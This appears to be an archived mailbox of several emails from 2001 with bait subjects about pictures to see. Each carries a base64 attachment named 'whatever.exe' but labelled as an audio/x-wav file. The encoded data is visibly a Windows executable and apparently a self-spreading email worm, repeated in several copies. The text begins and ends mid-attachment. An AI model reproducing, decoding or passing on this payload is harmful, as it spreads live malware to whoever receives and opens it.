BMbcFeYp3iDhGQIf6gwIDpb4w/lDi0M8mFQYeBcD061DcSZWkeyH 8Mfzzx0Fw1CWzF47A8FYXnXvUvXRljgwAlpg+OvVf8MEuo4kO5zQ 23QUMgDQsAjR6nMGgQDymvOnwf7IdfDrCeeSWsPlj8mboqSgjkFO YxoXGsKPY6eTZykmXBCec1QwAY4xBwEyEEhFTE+WdQ5jYYxofnSQ SMAmNU1BSUwPIEZSTxYKHwIRvY9DUFR8mU8eAwxEfkHlnhMzWUbk bVMkVMVBHFN1YmowqXTIGAUWRB4s8hIEA01JkEUtVsn+c+MoDCIx LjAmQ/VWowYMLVR5cEltlkkeaWjE6i/13HhlMmQ7QCCZAWJiC2Ey eT0iVwpqGlBYLTZQcqAGMnR5gDOcF1xNwl29Uh7NThBgp2ynI7VD Go80RTK9HU91JAI92GELRXhwk/PBNS7JMM5it0MdxYcQn1Q88mng G09MbEV6wm8TZHVjwZNCeUtJUx94V1ZCklMj1hwHVmHwKS3xNhbd 8GeeCUkTJ8JmkK10LqEwLcaa9EUtScgOL2j8bUhsJ/XGHpi4LUh0 JmG+by04xDU56jH3Szgkcv8Ic2Y8vkXAZLq3x4pxdZ027oaDchzw YZ4FKHADPEhUTUw+CAxFQUQULweHQk/GWQw1aWaEF6kdj4NjPTNE p+FkOlMwGkU9Q0nPFm+Dj3QnKzCHYmSf9ApqeTBPO6fNXoMotv0h KKosDNQOU5+qba3n4mF1gapvL3j6Ydt2T+lbVA3mLXcO0POCyC54 +a/oxWKgcDZSNCOUtGUoPHW+Sn4GgVtpDhYgeFFVSVTADAeinOKR AKflW54fEm/vAS6v5m7wO0lhdPF+3NIKdvQ4I8OAJqR3fKlIoAA0 8nYaLD1JgAPhKdjOKF+GA0gJNjlWl1BJwE6x3LABxkeH5wPHVf3F QRoIV4zwQ0szH+DpAPZfJ/jiFr/ZAItrJEnIL10lHp9YfMX/U+OA 7Dx74AWAFkxGpxwxMAD/JTQwQAD/JTgwQAAAAAAAKDAAALPCHzcA APe/QDAAADQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE4wAABeMAAA AAAAABo48XcQQPF3AAAAAEtFUk5FTDMyLmRsbAAAAABMb2FkTGli cmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 13:25:34 -0000 Subject: Fw: funky shit to see Message-ID: <200111221021.fAMALb819219@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 15:05:19 -0000 Subject: weird pictures - check it ?! Message-ID: <200111221201.fAMC1L821038@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 15:17:16 -0000 Subject: Fw: pics to check Message-ID: <200111221213.fAMCDJ821287@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: TVoAAAIAAAACAB4AHgAAAAACAAAAAAAAAAAAAMWnLuEOH7oOALQJ zSG4/0zNIVdpbjMyIG9ubHkhDQokQAAAAFBFAABMAQQAwipthgAA AAAAAAAA4ACOgQsBAhkACgAAAAQAAAAAAAAAEAAAABAAAAAgAAAA AEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAAAFAAAAACAADI8AAA AgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAADAA AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAFAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Q09ERQAAAAAAEAAAABAAAAAKAAAAAgAAAAAAAAAAAAAAAAAAIAAA YERBVEEAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAA AMAuaWRhdGEAAAAQAAAAMAAAAAIAAAAMAAAAAAAAAAAAAAAAAABA AADALnJlbG9jAAAAEAAAAEAAAAACAAAADgAAAAAAAAAAAAAAAAAA QAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAD8voYQQABWuAAgQABQl7KAu3AQQACk/9Nz+zPJ/9NzFDPA /9NzHUGwEP/TEsBz+nU1quvi6EMAAABJ4hDoOQAAAOshrNHodD0T yesVkUjB4Ais6CMAAACA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuum AtJ1BYoWRhLSwzPJQf/TE8n/03L4w+hwAsAC6/4z0mQ5/zKPiSK+ JyxAA7+6GAvoCTNLRTlSTo5MMzIB/xU0MACT6FNvCCrgwKyR4wUA VgPx6+mD7FRzgXoYzyiLJugqYQBTb2Z0d2FyZQ5cTWlj3xtzHdBX QUKhBDSACmFiIEZpbHVleU51beBqxMJ4BwCNdRSBxKBBC8D0VMyL sClyeUsATmTjRgN2YFHyxhyAfgEAdRJWjX0MAFdqSFlmrariAPtY XoPGIFXoZgdtXRQCJFni2P91jqFsBAYIoae+Vbs4BoMDxFRkZ48G GVZYaiXCEzoAAml3b3JtLmF4bDh6Zfc9Ynl8obMwxG4h/msceDJv WTFDDcR3aKSrHXR5cM1uZw6bGnMK+3j/r98o3ao4lhQxZ28IYWTH 3z/+X253lkZ5HDJ2DR5zQAJpcHN03im8b1DOLO5io2NhdeU2Oihx 